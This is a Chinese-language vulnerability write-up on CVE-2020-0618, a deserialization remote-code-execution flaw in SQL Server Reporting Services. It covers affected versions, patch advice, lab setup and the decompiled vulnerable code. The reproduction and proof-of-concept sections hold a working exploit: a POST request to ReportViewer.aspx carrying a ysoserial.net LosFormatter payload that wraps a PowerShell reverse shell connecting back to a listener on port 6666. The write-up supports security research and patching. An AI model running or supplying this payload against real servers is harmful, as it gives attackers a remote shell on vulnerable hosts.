CVE-2020-0618_SQL Server Reporting Services远程代码执行漏洞

Catalogue
  1. 1. 漏洞信息
    1. 1.1. 漏洞名称
    2. 1.2. 漏洞概述
    3. 1.3. 漏洞影响
  2. 2. 漏洞复现
    1. 2.1. SQL server 2016安装
    2. 2.2. 配置 Reporting Services
    3. 2.3. 漏洞复现
  3. 3. 漏洞分析
  4. 4. 参考资料

漏洞信息

漏洞名称

  • 漏洞名称:Microsoft SQL Server Reporting Services远程代码执行漏洞
  • CVE编号:CVE-2020-0618
  • CNVD编号:CNVD-2020-10449
  • BID编号:暂无
  • 漏洞类型:代码执行

漏洞概述

​ Microsoft SQL Server Reporting Services存在远程代码执行漏洞。攻击者可以利用该漏洞利用序列化的对象编写HTTP POST请求,以实现远程代码执行。该漏洞是由于序列化的Blob未由服务器签名而造成的。(Blob 对象表示一个不可变、原始数据的类文件对象。)

漏洞影响

Microsoft SQL Server 2012 for 32-bit Systems Service Pack 4
Microsoft SQL Server 2012 for x64-based Systems Service Pack 4
Microsoft SQL Server 2014 Service Pack 3 for 32-bit Systems
Microsoft SQL Server 2014 Service Pack 3 for 32-bit Systems
Microsoft SQL Server 2014 Service Pack 3 for x64-based Systems
Microsoft SQL Server 2014 Service Pack 3 for x64-based Systems
Microsoft SQL Server 2016 for x64-based Systems Service Pack 2
Microsoft SQL Server 2016 for x64-based Systems Service Pack 2

解决方案

1.使用SQL Server 2012-2016的用户请尽快安装相关补丁

2.使用SQL Server 2008的用户请为数据库设置强口令,或者将Reporting Services监听ip改为本地。暂时禁用外部连接,保证此服务安全。

漏洞复现

1、Windows Server 2016 Datacenter(https://msdn.itellyou.cn/)
2、SQL Server 2016 Developer Edition x64(https://msdn.itellyou.cn/)

链接:https://pan.baidu.com/s/1lgI_OoayhbFyYF8Hm-XCEw
提取码:gsl1

3、Postman-win64-7.22.1(https://www.postman.com/)
4、netcat-1.11(https://eternallybored.org/misc/netcat/)
5、ysoserial-1.32(https://github.com/pwntester/ysoserial.net)

SQL server 2016安装

​ SQL Server 2016 Developer Edition x64安装过程如下图,其中需要额外注意的步骤已用红色圈出,其他步骤下一步即可

​ 出现漏洞的服务为Reporting Services,此服务默认情况下并不安装,需要用户安装时手动安装。

​ 选择混合模式并设置sa的密码123456;

​ 点击安装即可。

配置 Reporting Services

​ 安装并配置完sql server及reporting services,启动“Reporting Services 配置管理器”,如下图

​ 点击“连接”进入配置管理器,如下图表示成功启动;

​ 重点访问 http://localhost/ReportS,创建分页报表,提示需要安装报表服务器。

​ 安装好报表服务器后,新建一个报表;

​ 输入前面设置的账号sa和密码 。

​ 保存,点击运行;

​ 访问一下漏洞路径http://10.251.0.34/ReportServer/pages/ReportViewer.aspx,成功。

漏洞复现

​ 安装并启动BurpSuite,发送方式POST,地址

1
http://10.251.0.34/ReportServer/pages/ReportViewer.aspx

​ Body中填入

1
2
3
NavigationCorrector$PageState=NeedsCorrection
NavigationCorrector$ViewState=payload(payload生成方式下面会讲述)
__VIEWSTATE=

​ 注意此处如果不配置Authorization,发送后会返回401 unauthorized;

​ NTLM凭据基于在交互式登录过程中获得的数据,并且由域名,用户名和用户密码的单向哈希组成。当应用程序使用NTLM身份验证时,需要配置Burp Suite以自动执行身份验证过程。

​ 可以在用户选项>连接>平台身份验证中配置这些设置。使用添加功能来配置新的凭据。

​ payload生成方式,在powershell中依次执行如下4条命令:

1
2
3
4
5
6
7
$command = '$client = New-Object System.Net.Sockets.TCPClient("10.251.0.34",6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

​ 将第1条命令中的ip地址和端口改为你的nc监听的地址和端口,执行完上述4条命令后,payload会复制到剪贴板,直接粘贴到上述的payload位置。

​ 使用burpsuite执行发包。

​ kali开启nc监听端口,反弹shell成功。

漏洞分析

SQL Server Reporting Services(SSRS)提供了一组本地工具和服务,用于创建,部署和管理移动报告和分页报告。

​ SSRS Web应用程序中的功能允许低特权用户帐户通过利用反序列化问题在服务器上运行代码。

只有授权用户才能访问该应用程序,但是最低权限(浏览器角色)也可利用此漏洞。

​ 漏洞出现在ReportingServicesWebServer.dll中,此文件位于SQL Server安装目录下Reporting ServicesReportServerbin,出现问题的函数是Microsoft.Reporting.WebForms.BrowserNavigationCorrector中的OnLoad方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rotected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
this.EnsureChildControls();
if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
{
string value = this.m_viewerViewState.Value;
if (!string.IsNullOrEmpty(value))
{
LosFormatter losFormatter = new LosFormatter();
object obj = null;
try
{
obj = losFormatter.Deserialize(value);
    可以看到此处使用LosFormatter类直接将value进行反序列化处理产生的漏洞,

​ 该BrowserNavigationCorrector类的实例化并且调用的位置在
Microsoft.ReportingServices.WebServer.ReportViewerPage中的OnInit方法

1
2
3
4
5
6
7
8
9
10
11
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
ReportViewerHost reportViewer = this.ReportViewer;
reportViewer.EnableHybrid = this.ShowHybrid;
if (reportViewer != null)
{
PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);

​ 通过此处可以定位到路由为ReportServer/pages/ReportViewer.aspx

​ 可以通过本地 SharePoint服务器中的/ReportServer/pages/ReportViewer.aspx页面来触发此功能。

概念验证
可以将以下HTTP请求发送到服务器以利用该应用程序:

1
2
3
4
5
6
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

可以在PowerShell中使用以下命令来使用ysoserial.net工具生成有效负载:

1
2
3
4
5
6
7
$command = '$client = New-Object System.Net.Sockets.TCPClient("10.251.0.33",6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

参考资料